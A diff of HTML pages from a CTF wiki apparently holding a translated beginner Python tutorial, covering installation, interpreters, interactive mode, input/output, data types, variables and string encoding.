+│C:\> python                                             │
+│Python 3.8.x ...                                        │
+│[MSC v... 64 bit (AMD64)] on win32                      │
+│Type "help", "copyright", "credits" or "license" for mor│
+│information.                                            │
+│>>> _                                                   │
+│                                                        │
+│                                                        │
+└────────────────────────────────────────────────────────┘
+
+

Seeing the above screen means that Python was installed successfully!

+

The fact that you see the prompt >>> means that we are in the Python interactive environment and can type any Python code, and you will get the execution result immediately after entering. Now, type exit() and enter to exit the Python interactive environment (you can also close the command line window directly).

+

Case 2: You get an error.

+
┌────────────────────────────────────────────────────────┐
+│Command Prompt                                    - □ x │
+├────────────────────────────────────────────────────────┤
+│Microsoft Windows [Version 10.0.0]                      │
+│(c) 2015 Microsoft Corporation. All rights reserved.    │
+│                                                        │
+│C:\> python                                             │
+│'python' is not recognized as an internal or external co│
+│mmand, operable program or batch file.                  │
+│                                                        │
+│C:\> _                                                  │
+│                                                        │
+│                                                        │
+│                                                        │
+└────────────────────────────────────────────────────────┘
+
+

This is because Windows will look for python.exe based on the path set by a Path environment variable, and if it doesn't find it, it will report an error. If you missed checking Add Python 3.8 to PATH during installation, you will have to manually add the path where python.exe is located to the Path.

+

If you don't know how to change the environment variables, we recommend running the Python installer again, making sure to check Add Python 3.8 to PATH.

+

Python interpreter

+

When we write Python code, we get a text file with a .py extension that contains Python code. To run the code, a Python interpreter is needed to execute the .py file.

+

Since the entire Python language is open source, from the specification to the interpreter, theoretically anyone with a high enough level of proficiency could write a Python interpreter to execute Python code (with great difficulty, of course). In fact, multiple Python interpreters do exist.

+

CPython

+

When we download and install Python 3.x from the official Python website, we get an official version of the interpreter directly: CPython. This interpreter is developed in C, hence the name CPython. Running python at the command line is to start the CPython interpreter.

+

CPython is the most widely used Python interpreter. All the code in the tutorial is also executed under CPython.

+

IPython

+

IPython is an interactive interpreter based on CPython. That is, IPython is only enhanced in the way it interacts, but the functionality of executing Python code is exactly the same as CPython. It's like many domestic browsers have different appearances, but the kernel is actually calling IE.

+

CPython uses >>> as the prompt, while IPython uses In [serial number]: as the prompt.

+

PyPy

+

PyPy is another Python interpreter that targets execution speed. PyPy uses JIT technology to dynamically compile (note that it does not interpret) Python code, so it can significantly improve the execution speed of Python code.

+

The vast majority of Python code will run under PyPy, but PyPy and CPython are somewhat different, which results in the same Python code executing under both interpreters may have different results. If your code is going to be executed under PyPy, you need to understand the differences between PyPy and CPython.

+

Jython

+

Jython is a Python interpreter that runs on the Java platform and can compile Python code directly into Java bytecode for execution.

+

IronPython

+

IronPython is similar to Jython, except that IronPython is a Python interpreter that runs on Microsoft.

+

Summary

+

There are many interpreters for Python, but the most widely used is CPython. If you want to interact with Java or .Net.

+

All code in this tutorial is guaranteed to run under CPython version 3.x only. Be sure to install CPython locally (that is, download the installer from the official Python website).

+

First Python program

+

Before we officially write our first Python program, let's review what command line mode and Python interaction mode are.

+

Command Line Mode

+

Select "Command Prompt" in the Windows Start menu to enter command line mode, which has a prompt similar to C:\>.

+
┌────────────────────────────────────────────────────────┐
+│Command Prompt                                    - □ x │
+├────────────────────────────────────────────────────────┤
+│Microsoft Windows [Version 10.0.0]                      │
+│(c) 2015 Microsoft Corporation. All rights reserved.    │
+│                                                        │
+│C:\> _                                                  │
+│                                                        │
+│                                                        │
+│                                                        │
+│                                                        │
+│                                                        │
+│                                                        │
+│                                                        │
+└────────────────────────────────────────────────────────┘
+
+

Python interactive mode

+

Type the command python in command line mode, you will see a bunch of text output like the following, then you will enter Python interactive mode, its prompt is >>>.

+
┌────────────────────────────────────────────────────────┐
+│Command Prompt - python                           - □ x │
+├────────────────────────────────────────────────────────┤
+│Microsoft Windows [Version 10.0.0]                      │
+│(c) 2015 Microsoft Corporation. All rights reserved.    │
+│                                                        │
+│C:\> python                                             │
+│Python 3.7 ... on win32                                 │
+│Type "help", ... for more information.                  │
+│>>> _                                                   │
+│                                                        │
+│                                                        │
+│                                                        │
+│                                                        │
+└────────────────────────────────────────────────────────┘
+
+

By typing exit() and entering in Python interactive mode, you exit Python interactive mode and return to command line mode:

+
┌────────────────────────────────────────────────────────┐
+│Command Prompt                                    - □ x │
+├────────────────────────────────────────────────────────┤
+│Microsoft Windows [Version 10.0.0]                      │
+│(c) 2015 Microsoft Corporation. All rights reserved.    │
+│                                                        │
+│C:\> python                                             │
+│Python 3.7 ... on win32                                 │
+│Type "help", ... for more information.                  │
+│>>> exit()                                              │
+│                                                        │
+│C:\> _                                                  │
+│                                                        │
+│                                                        │
+└────────────────────────────────────────────────────────┘
+
+

You can also select the Python (command line) menu item directly from the Start menu to enter Python interactive mode directly, but the window will close directly after typing exit() and will not return to command line mode.

+

Once we understand how to start and exit Python's interactive mode, we can officially start writing Python code.

+

Before writing code, please never paste code from a page to your own computer using "copy"-"paste". In the process of writing code, beginners often make mistakes: incorrect spelling, incorrect capitalization, mixed use of English and Chinese punctuation, mixed use of spaces and tabs, so you need to check and cross-check carefully in order to master how to write programs as fast as possible.

+

simpson-learn-py3

+

At the interactive mode prompt >>>, type the code directly and press enter to get the code execution result immediately. Now, try typing 100+200 and see if the calculation results in 300.

+
>>> 100+200
+300
+
+

Pretty simple, right? Any valid mathematical calculation will work out.

+

To get Python to print out the specified text, use the print() function and then enclose the text you wish to print in single or double quotes, but not a mix of single and double quotes:

+
>>> print('hello, world')
+hello, world
+
+

This kind of text enclosed in single or double quotes is called a string in the program, and we will encounter it often in the future.

+

Finally, exit Python with exit() and our first Python program is done! The only downside is that it wasn't saved, so you'll have to type the code again the next time you run it.

+

Command line mode and Python interactive mode

+

Please note the distinction between command line mode and Python interactive mode.

+

In command line mode, you can execute python to enter the Python interactive environment, or you can execute python hello.py to run a .py file.

+

Executing a .py file can only be executed in command line mode. If you hit the command python hello.py and see the following error.

+
┌────────────────────────────────────────────────────────┐
+│Command Prompt                                    _ □ x │
+├────────────────────────────────────────────────────────┤
+│Microsoft Windows [Version 10.0.0]                      │
+│(c) 2015 Microsoft Corporation. All rights reserved.    │
+│                                                        │
+│C:\> python hello.py                                    │
+│python: can't open file 'hello.py': [Errno 2] No such   │
+│file or directory                                       │
+│                                                        │
+│                                                        │
+│                                                        │
+│                                                        │
+│                                                        │
+└────────────────────────────────────────────────────────┘
+
+

The error message No such file or directory indicates that hello.py is not found in the current directory, you must first switch the current directory to the directory where hello.py is located in order to execute properly.

+
┌────────────────────────────────────────────────────────┐
+│Command Prompt                                    _ □ x │
+├────────────────────────────────────────────────────────┤
+│Microsoft Windows [Version 10.0.0]                      │
+│(c) 2015 Microsoft Corporation. All rights reserved.    │
+│                                                        │
+│C:\> cd work                                            │
+│                                                        │
+│C:\work> python hello.py                                │
+│Hello, world!                                           │
+│                                                        │
+│                                                        │
+│                                                        │
+│                                                        │
+└────────────────────────────────────────────────────────┘
+
+

In addition, running a .py file in command-line mode is different from running Python code directly in the Python interactive environment, which automatically prints out the result of each line of Python code, but running Python code directly does not.

+

For example, in the Python interactive environment, type.

+
>>> 100 + 200 + 300
+600
+
+

You can see the result 600 directly.

+

However, write a calc.py file with the following content.

+
100 + 200 + 300
+
+

Then, in command line mode, execute.

+
C:\work>python calc.py
+
+

Nothing output was found.

+

This is normal. To output the result, you must print it out yourself with print(). Transform calc.py to.

+
print(100 + 200 + 300)
+
+

Executing it again, you can see the result.

+
C:\work>python calc.py
+600
+
+

Finally, the Python interactive mode code is typed one line and executed one line, while the command line mode directly runs the .py file to execute all the code in the file at once. As you can see, Python interactive mode is mainly for debugging Python code and for beginners to learn, it isn't an environment to run Python code officially!

+

SyntaxError

+

If SyntaxError is encountered, it means that there is a syntax error in the input Python code. The most common type of syntax error is the use of Chinese punctuation, such as the use of Chinese brackets and .

+
>>> print('hello')
+  File "<stdin>", line 1
+    print('hello')
+         ^
+SyntaxError: invalid character '(' (U+FF08)
+
+

Or the Chinese quotation marks and are used.

+
>>> print(“hello”)
+  File "<stdin>", line 1
+    print(“hello”)
+          ^
+SyntaxError: invalid character '“' (U+201C)
+
+

When an error occurs, be sure to read the cause of the error. For the above SyntaxError, the interpreter will explicitly state that the cause of the error is the unrecognized character ": invalid character '".

+

Summary

+

In Python interactive mode, you can type code directly, then execute it and get the result immediately.

+

In command line mode, you can run the .py file directly.

+

Using a text editor

+

The advantage of writing a program on Python's interactive command line is that you get the result in a single click, but the disadvantage is that you can't save it and you have to knock it again the next time you want to run it.

+

So, in practice, we always use a text editor to write the code, and when we're done, we save it as a file so that the program can be run again and again.

+

Now, let's take the last 'hello, world' program and write it in a text editor and save it.

+

So here's the question: which is the best text editor?

+

Visual Studio Code!

+

We recommend Visual Studio Code from Microsoft, it's not the big Visual Studio, it's a streamlined version of Mini Visual Studio, and, Visual Studio Code can be used across! Platforms! Windows, Mac, and Linux universally.

+

Please note, do not use Word and Windows Notepad. Word saves not plain text files, and Notepad will smartly add a few special characters (UTF-8 BOM) at the beginning of the file, which will result in inexplicable errors in running the program.

+

With the text editor installed, enter the following code.

+
print('hello, world')
+
+

Note that there should not be any spaces in front of print. Then, select a directory, for example, C:\work, save the file as hello.py, and you can open a command line window, switch the current directory to the directory where hello.py is located, and you can run the program as follows.

+
C:\work> python hello.py
+hello, world
+
+

It can also be saved as another name, such as first.py, but it must end with .py, nothing else will work. In addition, the file name can only be a combination of letters, numbers, and underscores.

+

If there is no hello.py file in the current directory, running python hello.py will report the following error.

+
C:\Users\IEUser> python hello.py
+python: can't open file 'hello.py': [Errno 2] No such file or directory
+
+

The error means that the file hello.py cannot be opened because it does not exist. In this case, you have to check whether the file exists in the current directory. If hello.py is stored in another directory, you should first switch to the current directory with the cd command.

+

Inputs and Outputs

+

Output

+

Using print() with a string in parentheses, you can output the specified text to the screen. For example, outputting 'hello, world' is implemented in code as follows.

+
>>> print('hello, world')
+
+

The print() function can also accept multiple strings, separated by a comma ",", which can be concatenated into one string of output.

+
>>> print('The quick brown fox', 'jumps over', 'the lazy dog')
+The quick brown fox jumps over the lazy dog
+
+

print() will print each string in turn, and will output a space when it encounters a comma ",", so that the output string is spelled out like this:

+

print-explain

+

print() can also print an integer, or the result of a calculation.

+
>>> print(300)
+300
+>>> print(100 + 200)
+300
+
+

Therefore, we can print the result of calculating 100 + 200 a little more nicely as follows.

+
>>> print('100 + 200 =', 100 + 200)
+100 + 200 = 300
+
+

Note that for 100 + 200, the Python interpreter automatically calculates the result 300, however, '100 + 200 =' is a string and not a mathematical formula, Python treats it as a string, please interpret the above printout yourself.

+

Input

+

Now, you can already output the result you want with print(). But what if you want the user to enter some characters from the computer? Python provides an input() that allows the user to enter a string and store it in a variable. For example, enter the user's name.

+
>>> name = input()
+Michael
+
+

Once you type name = input() and hit enter, the Python interactive command line is waiting for your input. At this point, you can type any character you want, then press enter and finish typing.

+

When you're done, there's no prompt, and the Python interactive command line goes back to >>>. So where does the content we just typed go? The answer is that it is stored in the name variable. You can see the contents of the variable by typing name directly.

+
>>> name
+'Michael'
+
+

What is a variable? Remind yourself of the basics of algebra learned in junior high school mathematics.

+

Let the side length of a square be a, then the area of the square is a x a. Thinking of the side length a as a variable, we can calculate the area of the square based on the value of a, e.g.

+

If a = 2, the area is a x a = 2 x 2 = 4.

+

If a = 3.5, then the area is a x a = 3.5 x 3.5 = 12.25.

+

In computer programs, variables can be not only integers or floating point numbers, but also strings, so name as a variable is a string.

+

To print out the contents of the name variable, in addition to writing name directly and pressing enter, the print() function can be used.

+
>>> print(name)
+Michael
+
+

With input and output, we can change the last program that printed hello, world' to something that makes some sense:

+
name = input()
+print('hello,', name)
+
+

Running the above program, the first line of code will ask the user to enter any character as his or her name, which will then be stored in the name variable; the second line of code will say hello to the user based on his or her name, for example, enter Michael.

+
C:\Workspace> python hello.py
+Michael
+hello, Michael
+
+

But the program runs without any prompt message telling the user: "Hey, hurry up and enter your name", which seems very unfriendly. Fortunately, input() allows you to display a string to prompt the user, so we changed the code to:

+
name = input('please enter your name: ')
+print('hello,', name)
+
+

Run the program again and you will find that as soon as the program runs, it will first print out please enter your name: so that the user can follow the prompt and enter the name and get the output of hello, xxx as follows:

+
C:\Workspace> python hello.py
+please enter your name: Michael
+hello, Michael
+
+

Each time you run the program, the output will be different depending on the user input.

+

At the command line, input and output are just that simple.

+

Summary

+

Any computer program is designed to perform a specific task. With input, the user can tell the computer program the information it needs, and with output, the program runs and tells the user the result of the task.

+

Input is Input and Output is Output, so we refer to input and output collectively as Input/Output, or abbreviated as IO.

+

input() and print() are the most basic input and output from the command line, but users can also do input and output through other more advanced graphical interfaces, for example, typing your name in a text box on a web page, clicking "OK" and see the output on the web page.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CTF/Python_2/index.html b/CTF/Python_2/index.html new file mode 100644 index 000000000..6220a4df7 --- /dev/null +++ b/CTF/Python_2/index.html @@ -0,0 +1,9808 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Python Programming Quick Guide - Syntax - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

Python Programming Quick Guide - Syntax

+
+

https://www.liaoxuefeng.com/wiki/1016959663602400/1017063413904832

+

https://docs.python.org/3/tutorial/index.html

+
+

Python Basics

+

Python is a computer programming language. A computer programming language is different from the natural language we use every day. The biggest difference is that natural languages are understood differently in different contexts, and a computer must ensure that the program written in the programming language must not be ambiguous if it is to perform its tasks according to the programming language. Python is no exception.

+

Python's syntax is relatively simple, indented, and written like the following.

+
# print absolute value of an integer:
+a = 100
+if a >= 0:
+    print(a)
+else:
+    print(-a)
+
+

Statements starting with # are comments, which are for human eyes and can be anything, and are ignored by the interpreter. Every other line is a statement, and when the statement ends with a colon :, the indented statement is considered a block of code.

+

Indentation has advantages and disadvantages. The advantage is that it forces you to write formatted code, but there is no rule about whether the indent is a few spaces or a tab. by convention, you should always stick to the 4-spaces indent.

+

Another advantage of indentation is that it forces you to write less indented code, and you will tend to split a long piece of code into several functions to get less indented code.

+

The downside of indentation is that the "copy-paste" feature is disabled, which is the worst part. When you refactor your code, the pasted code has to be rechecked for correct indentation. In addition, it's hard for the IDE to format Python code the way it formats Java code.

+

Finally, be sure to note that Python programs are case-sensitive, and if you write the wrong case, the program will report an error.

+

Summary

+

Python uses indentation to organize blocks of code, so be sure to follow the convention and stick to a 4-space indent.

+

In the text editor, you need to set up the automatic conversion of tabs to 4 spaces to make sure you don't mix tabs and spaces.

+

Data types and variables

+

Data types

+

A computer is, as the name implies, a machine that can do mathematical calculations, so it is logical that computer programs can handle all kinds of numerical values. However, computers can handle much more than just numeric values. They can also handle text, graphics, audio, video, web pages, and a wide variety of other data, and different data requires different data types to be defined. In Python, the data types that can be handled directly are as follows.

+

integers

+

Python can handle integers of any size, including negative integers of course, represented in programs exactly as they are written in mathematics, for example: 1, 100, -8080, 0, and so on.

+

Since computers use binary, it is sometimes easier to represent integers in hexadecimal, which is represented by the 0x prefix and 0-9, a-f, for example: 0xff00, 0xa5b4c3d2, and so on.

+

For very large numbers, such as 10000000000, it is difficult to count the number of zeros. python allows numbers to be separated by _, so writing 10_000_000_000 is exactly the same as 10000000000. Hexadecimal numbers can also be written as 0xa1b2_c3d4.

+

floating point numbers

+

Floating point numbers, also known as decimals, are called floating point numbers because the position of the decimal point of a floating point number is variable when expressed in scientific notation, for example, 1.23x109 is exactly the same as 12.3x108. Floating point numbers can be written mathematically, such as 1.23, 3.14, -9.01, and so on. But for very large or small floating point numbers, they must be expressed in scientific notation, replacing 10 with e. 1.23x109 is 1.23e9, or 12.3e8, 0.000012 can be written as 1.2e-5, and so on.

+

Integers and floating point numbers are stored differently inside the computer, and integer operations are always exact (is division also exact? Yes!) ), while floating-point operations may have rounding errors.

+

strings

+

A string is any text enclosed in single quotes ' or double quotes ", such as 'abc', 'xyz', etc. Note that '' or "" itself is just a representation, not part of a string, so the string 'abc' has only the 3 characters a, b, c. If ' itself is also a character, then it can be enclosed in "", for example, "I'm OK" contains the 6 characters I, ', m, space, O, and K.

+

What if the string contains both ' and " inside? You can use the escape character \ to identify it, for example.

+
'I\'m \"OK\"!'
+
+

The content of the string represented is:

+
I'm "OK"!
+
+

The escape character \ can escape many characters, such as \n for line feeds, \t for tabs, and the character \ itself should be escaped, so the character represented by \\ is \. You can use print() on Python's interactive command line to print the string to see.

+
>>> print('I\'m ok.')
+I'm ok.
+>>> print('I\'m learning\nPython.')
+I'm learning
+Python.
+>>> print('\\\n\\')
+\
+\
+
+

If there are many characters inside the string that need to be escaped, you need to add a lot of \. For simplicity, Python also allows r'' to indicate that the string inside '' is not escaped by default, so you can try it yourself at

+
>>> print('\\\t\\')
+\       \
+>>> print(r'\\\t\\')
+\\\t\\
+
+

If there are many newlines inside the string, it is not good to read them in one line with \n. For simplicity, Python allows to use '''...''' format to represent multiple lines of content, try it yourself:

+
>>> print('''line1
+... line2
+... line3''')
+line1
+line2
+line3
+
+

The above is typed within the interactive command line, note that when typing multiple lines, the prompt changes from >>> to ..., prompting you to continue typing on the previous line, note that ... is a prompt, not part of the code: `.

+
┌────────────────────────────────────────────────────────┐
+│Command Prompt - python                           _ □ x │
+├────────────────────────────────────────────────────────┤
+│>>> print('''line1                                      │
+│... line2                                               │
+│... line3''')                                           │
+│line1                                                   │
+│line2                                                   │
+│line3                                                   │
+│                                                        │
+│>>> _                                                   │
+│                                                        │
+│                                                        │
+│                                                        │
+└────────────────────────────────────────────────────────┘
+
+

When the terminator ''' and the brackets ) have been entered, the statement is executed and the result is printed.

+

If written as a program and saved as a .py file, it would be.

+
print('''line1
+line2
+line3''')
+
+

The multi-line string '''...''' can also be used with r in front, please test it yourself at:

+
# -*- coding: utf-8 -*-
+print(r'''hello,\n
+world''')
+
+

Boolean values

+

Boolean values are identical to the representation of Boolean algebra. A Boolean value has only two values, True, False, either True or False. In Python, a Boolean value can be expressed directly as True, False (please note the case), or it can be calculated by Boolean operations as follows.

+
>>> True
+True
+>>> False
+False
+>>> 3 > 2
+True
+>>> 3 > 5
+False
+
+

Boolean values can be operated on with and, or and not.

+

The and operation is a sum operation, and the result of the and operation is True only if all are True.

+
>>> True and True
+True
+>>> True and False
+False
+>>> False and False
+False
+>>> 5 > 3 and 3 > 1
+True
+
+

The or operation is an or operation, and as long as one of them is True, the result of the or operation is True.

+
>>> True or True
+True
+>>> True or False
+True
+>>> False or False
+False
+>>> 5 > 3 or 1 > 3
+True
+
+

The not operation is a non-operation; it is a monadic operator that turns True into False and False into True.

+
>>> not True
+False
+>>> not False
+True
+>>> not 1 > 2
+True
+
+

Boolean values are often used in conditional judgments, e.g.

+
if age >= 18:
+    print('adult')
+else:
+    print('teenager')
+
+

Null values

+

A null value is a special value in Python, denoted by None. None cannot be interpreted as 0, because 0 is meaningful, and None is a special null value.

+

In addition, Python provides a variety of data types, such as lists and dictionaries, and also allows the creation of custom data types, which we will continue to talk about later.

+

Variables

+

The concept of a variable is basically the same as the equation variable in middle school algebra, except that in computer programs, variables can be not only numbers, but also arbitrary data types.

+

Variables are represented in the program by a variable name, which must be a combination of upper and lower case English, numbers, and _, and cannot start with a number, for example.

+
a = 1
+
+

The variable a is an integer.

+
t_007 = 'T007'
+
+

The variable t_007 is a string.

+
Answer = True
+
+

The variable Answer is a Boolean value True.

+

In Python, the equal sign = is an assignment statement that can assign any data type to a variable, the same variable can be assigned repeatedly, and it can be a different type of variable, for example.

+
# -*- coding: utf-8 -*-
+a = 123 # a is an integer
+print(a)
+a = 'ABC' # a becomes a string
+print(a)
+
+

This type of language where the type of the variable itself is not fixed is called a dynamic language, and its counterpart is a static language. Static languages must specify the variable type when defining a variable, and will report an error if the type does not match when assigning a value. For example, Java is a static language, and the assignment statement is as follows (// indicates a comment)

+
int a = 123; // a is an integer type variable
+a = "ABC"; // Error: You cannot assign a string to an integer variable
+
+

Dynamic languages are more flexible compared to static languages for this reason.

+

Please don't equate the equal sign of an assignment statement with the equal sign of mathematics. For example, the following code.

+
x = 10
+x = x + 2
+
+

If you understand x = x + 2 mathematically, that is not true anyway. In the program, the assignment statement first calculates the expression x + 2 on the right side, gets the result 12, and then assigns it to the variable x. Since the previous value of x was 10, after reassignment, the value of x becomes 12.

+

Finally, it is also important to understand how variables are represented in computer memory. When we write:

+
a = 'ABC'
+
+

Here the Python interpreter does two things.

+
    +
  1. creates a string 'ABC' in memory.
  2. +
  3. creates a variable named a in memory and points it to 'ABC'.
  4. +
+

It is also possible to assign a variable a to another variable b, an operation that actually points the variable b to the data pointed to the variable a, as in the following code.

+
# -*- coding: utf-8 -*-
+a = 'ABC'
+b = a
+a = 'XYZ'
+print(b)
+
+

Is the last line printing out the contents of variable b as 'ABC' or as 'XYZ'? If understood in a mathematical sense, one would incorrectly conclude that b is the same as a and should also be 'XYZ', but in fact, the value of b is 'ABC', so let's execute the code line by line to see what is really happening.

+

Executing a = 'ABC', the interpreter creates the string 'ABC' and the variable a, and points a to 'ABC'.

+

py-var-code-1

+

Executing b = a, the interpreter creates the variable b and points b to the string 'ABC' pointed to by a.

+

py-var-code-2

+

Executing a = 'XYZ', the interpreter creates the string XYZ' and changes the pointing ofato'XYZ', butb` does not change.

+

py-var-code-3

+

So, the final result of printing the variable b will naturally be 'ABC'.

+

Constants

+

A constant is a variable that cannot be changed, for example, the common mathematical constant π is a constant. In Python, constants are usually represented by all-caps variable names.

+
PI = 3.14159265359
+
+

But the fact is that PI is still a variable, and Python has no mechanism at all to ensure that PI won't be changed, so using all-caps variable names for constants is just a customary usage, and if you must change the value of the variable PI, no one can stop you.

+

Finally, an explanation of why division by integers is also exact. In Python, there are two kinds of division, one of which is /.

+
>>> 10 / 3
+3.3333333333333335
+
+

/ The result of the division calculation is a floating point number, even if two integers are exactly divisible, and the result is a floating point number.

+
>>> 9 / 3
+3.0
+
+

Another type of division is //, called floor division, where the division of two integers remains an integer:

+
>>> 10 // 3
+3
+
+

You read that right, the floor of an integer divided by // is always an integer, even if the division is not exhaustive. To do exact division, use / and you're done.

+

Because // division takes only the integer part of the result, Python also provides a remainder operation that gives you the remainder of the division of two integers by.

+
>>> 10 % 3
+1
+
+

Whether an integer does // division or takes a remainder, the result is always an integer, so the result of integer arithmetic is always exact.

+

Summary

+

Python supports a variety of data types, and within the computer, any data can be thought of as an "object", and variables are used in programs to point to these data objects.

+

Assigning x = y to a variable is to point the variable x to the real object that the variable y points to. Subsequent assignments to the variable y do not affect the pointing of the variable x.

+

Note: Python's integers have no size limit, while some languages have size limits for integers based on their storage length, for example, Java limits 32-bit integers to -2147483648-2147483647.

+

Python's floating point numbers also have no size limit, but beyond a certain range, they are directly represented as inf (infinity).

+

String and encoding

+

Character encoding

+

As we have already talked about, strings are also a data type, but what is special about strings is that there is also an encoding problem.

+

Because computers can only process numbers, if you want to process text, you must first convert the text to numbers before you can process it. The earliest computers were designed with 8 bits (bit) as a byte (byte), so the largest integer that a byte can represent is 255 (binary 1111111111 = decimal 255), and to represent larger integers, more bytes must be used. For example, the largest integer that can be represented by two bytes is 65535 and the largest integer that can be represented by four bytes is 4294967295.

+

Since the computer was invented by the Americans, only 127 characters were first encoded into the computer, that is, upper and lower case English letters, numbers and some symbols, this code table is called ASCII code, for example, the code for upper case letter A is 65 and the code for lower case letter z is 122.

+

But to deal with Chinese, obviously, one byte is not enough, at least two bytes are needed, and it should not conflict with ASCII, so China has developed GB2312 encoding, which is used to encode Chinese.

+

As you can imagine, there are hundreds of languages in the world, Japan coded Japanese into Shift_JIS, Korea coded Korean into Euc-kr, and each country has its own standard, so there will be inevitable conflicts, and as a result, there will be garbled codes in the mixed text of multiple languages.

+

char-encoding-problem

+

As a result, the Unicode character set was created. Unicode unifies all languages into one set of encodings so that there will be no more problems with garbled code.

+

The Unicode standard has evolved, but the most commonly used is the UCS-16 encoding, which uses two bytes to represent a character (four bytes are needed if very remote characters are to be used). Unicode is directly supported by modern operating systems and most programming languages.

+

Now, run through the differences between ASCII and Unicode encoding: ASCII encoding is 1 byte, while Unicode encoding is usually 2 bytes.

+

The letter A is 65 in decimal and 01000001 in binary with ASCII encoding.

+

The character 0 in ASCII encoding is 48 in decimal and 00110000 in binary, noting that the character '0' is different from the integer 0.

+

The Chinese character is beyond the scope of ASCII encoding and is 20013 in decimal and 01001110 00101101 in binary using Unicode encoding.

+

You can guess that if you encode the ASCII-encoded A in Unicode, you just need to make up the 0 in front of it, so the Unicode encoding of A is 00000000 01000001.

+

A new problem arises again: if you unify it into Unicode, the messy code problem disappears from now on. However, if all the text you write is basically in English, Unicode encoding requires twice as much storage space as ASCII encoding, which is very uneconomical in terms of storage and transmission.

+

Therefore, in the spirit of saving, UTF-8 encoding, which converts Unicode encoding into variable-length encoding, has emerged. Only very rare characters are encoded as 4-6 bytes. If the text you are transferring contains a large number of English characters, using UTF-8 encoding saves space.

+ + + + + + + + + + + + + + + + + + + + + + + +
EncodingASCIIUnicodeUTF-8
A0100000100000000 0100000101000001
x01001110 0010110111100100 10111000 10101101
+

From the table above, you can also find that UTF-8 encoding has the added benefit that ASCII encoding can actually be seen as part of UTF-8 encoding, so a large amount of legacy software that only supports ASCII encoding can continue to work under UTF-8 encoding.

+

Having figured out the relationship between ASCII, Unicode and UTF-8, we can summarize the way character encoding works in common for computer systems nowadays.

+

In the computer memory, Unicode encoding is used uniformly, and when it needs to be saved to the hard disk or needs to be transferred, it is converted to UTF-8 encoding.

+

When editing with Notepad, UTF-8 characters read from a file are converted to Unicode characters in memory, and when editing is complete, Unicode is converted to UTF-8 and saved to the file when saving.

+

rw-file-utf-8

+

When browsing the web, the server converts the dynamically generated Unicode content to UTF-8 before transferring it to the browser.

+

web-utf-8

+

So you see a lot of web pages with something like <meta charset="UTF-8" /> on the source code, indicating that the page is encoded exactly in UTF-8.

+

Python's strings

+

With the headache of character encoding out of the way, let's look at Python strings.

+

In the latest version of Python 3, strings are encoded in Unicode, meaning that Python's strings support multiple languages, such as

+
>>> print('包含中文的str')
+包含中文的str
+
+

For the encoding of individual characters, Python provides the ord() function to obtain an integer representation of the character, and the chr() function to convert the encoding to the corresponding character:

+
>>> ord('A')
+65
+>>> ord('中')
+20013
+>>> chr(66)
+'B'
+>>> chr(25991)
+'文'
+
+

If you know the integer encoding of the characters, you can also write str in hexadecimal like this.

+
>>> '\u4e2d\u6587'
+'中文'
+
+

The two ways of writing are exactly equivalent.

+

Since Python's string type is str, represented in memory as Unicode, a character corresponds to a number of bytes. If you want to transfer it over the network or save it to disk, you need to change str to bytes in bytes.

+

Python represents data of type bytes in single or double quotes prefixed with b as follows.

+
x = b'ABC'
+
+

Be careful to distinguish between 'ABC', which is str, and b'ABC', which occupies only one byte for each character of bytes, although the content is displayed the same as the former.

+

The str in Unicode can be encoded to the specified bytes by the encode() method, e.g.

+
>>> 'ABC'.encode('ascii')
+b'ABC'
+>>> '中文'.encode('utf-8')
+b'\xe4\xb8\xad\xe6\x96\x87'
+>>> '中文'.encode('ascii')
+Traceback (most recent call last):
+  File "<stdin>", line 1, in <module>
+UnicodeEncodeError: 'ascii' codec can't encode characters in position 0-1: ordinal not in range(128)
+
+

Pure English str can be encoded with ASCII as bytes, the content is the same, and str containing Chinese can be encoded with UTF-8 as bytes. The str containing Chinese cannot be encoded with ASCII because the Chinese encoding range exceeds the range of ASCII encoding, Python will report an error.

+

In bytes, bytes that cannot be displayed as ASCII characters are displayed with \x##.

+

Conversely, if we read a stream of bytes from the network or from a disk, the data read is bytes. To change bytes to str, the decode() method is used.

+
>>> b'ABC'.decode('ascii')
+'ABC'
+>>> b'\xe4\xb8\xad\xe6\x96\x87'.decode('utf-8')
+'中文'
+
+

If bytes contains bytes that cannot be decoded, the decode() method will report an error.

+
>>> b'\xe4\xb8\xad\xff'.decode('utf-8')
+Traceback (most recent call last):
+  ...
+UnicodeDecodeError: 'utf-8' codec can't decode byte 0xff in position 3: invalid start byte
+
+

If there are only a small number of invalid bytes in bytes, you can pass errors='ignore' to ignore the erroneous bytes.

+
>>> b'\xe4\xb8\xad\xff'.decode('utf-8', errors='ignore')
+'中'
+
+

To calculate how many characters str contains, you can use the len() function.

+
>>> len('ABC')
+3
+>>> len('中文')
+2
+
+

The len() function counts the number of characters in str, if replaced with bytes, the len() function counts the number of bytes.

+
>>> len(b'ABC')
+3
+>>> len(b'\xe4\xb8\xad\xe6\x96\x87')
+6
+>>> len('中文'.encode('utf-8'))
+6
+
+

As you can see, 1 Chinese character will usually occupy 3 bytes after UTF-8 encoding, while 1 English character will occupy only 1 byte.

+

When manipulating strings, we often encounter the interconversion of str and bytes. To avoid garbling problems, you should always use UTF-8 encoding for str and bytes conversions.

+

Since Python source code is also a text file, when your source code contains Chinese, be sure to specify saving as UTF-8 when you save the source code. When the Python interpreter reads the source code, in order for it to read it in UTF-8, we usually write these two lines at the beginning of the file.

+
#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+
+

the first line comment is to tell the Linux/OS X system that this is a Python executable and that Windows systems will ignore the comment.

+

The second comment line is to tell the Python interpreter to read the source code in UTF-8 encoding, otherwise, the Chinese output you write in the source code may be garbled.

+

Asserting UTF-8 encoding does not mean that your .py file is UTF-8 encoded; you must and do make sure that the text editor is using UTF-8 without BOM encoding.

+

set-encoding-in-notepad++

+

If the .py file itself uses UTF-8 encoding and also declares # -*- coding: utf-8 -*-, opening a command prompt to test will display Chinese properly.

+

py-chinese-test-in-cmd

+

Formatting

+

The last common problem is how to output a formatted string. We often output something like 'Hello dear xxx! Your phone bill for month xx is xx and your balance is xx' and strings like that, and the contents of xxx are changing based on variables, so an easy way to format strings is needed.

+

py-str-format

+

In Python, the formatting used is the same as in C, implemented with %, as an example.

